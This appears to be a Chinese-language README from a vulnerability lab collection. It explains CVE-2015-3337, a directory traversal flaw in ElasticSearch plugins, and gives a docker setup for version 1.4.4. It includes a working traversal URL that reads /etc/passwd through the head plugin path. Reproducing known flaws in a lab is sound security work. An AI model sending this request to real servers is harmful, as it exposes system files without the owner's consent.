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elasticsearch/CVE-2015-3337/README.zh-cn.md
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elasticsearch/CVE-2015-3337/README.zh-cn.md
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# ElasticSearch 插件目录穿越漏洞(CVE-2015-3337)
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ElasticSearch是一个分布式的RESTful搜索和分析引擎。
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在ElasticSearch的插件功能中存在一个目录穿越漏洞,攻击者可以利用该漏洞读取系统上的任意文件。在安装了具有"site"功能的插件后,攻击者可以通过在插件目录路径中使用`../`来遍历目录树,从而实现任意文件读取。未安装任何插件的ElasticSearch不受此漏洞影响。
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参考链接:
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- <https://nvd.nist.gov/vuln/detail/CVE-2015-3337>
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- <https://github.com/elastic/elasticsearch/issues/10828>
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## 环境搭建
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执行以下命令来启动一个1.4.4版本的ElasticSearch服务器:
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```
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docker compose up -d
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```
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测试环境默认安装了一个插件:`elasticsearch-head`,这是一个ElasticSearch的Web前端界面。关于该插件的更多信息可以在这里找到:<https://github.com/mobz/elasticsearch-head>
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## 漏洞复现
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要利用此漏洞,可以通过在插件路径中使用目录穿越来读取任意文件。例如,要读取`/etc/passwd`文件,发送如下请求:
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```
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http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd
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```
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注意:请不要直接在浏览器中访问此URL。
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## 补充信息
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head插件提供了ElasticSearch的Web界面。你可以通过访问`http://your-ip:9200/_plugin/head/`来通过图形界面与你的ElasticSearch集群进行交互。
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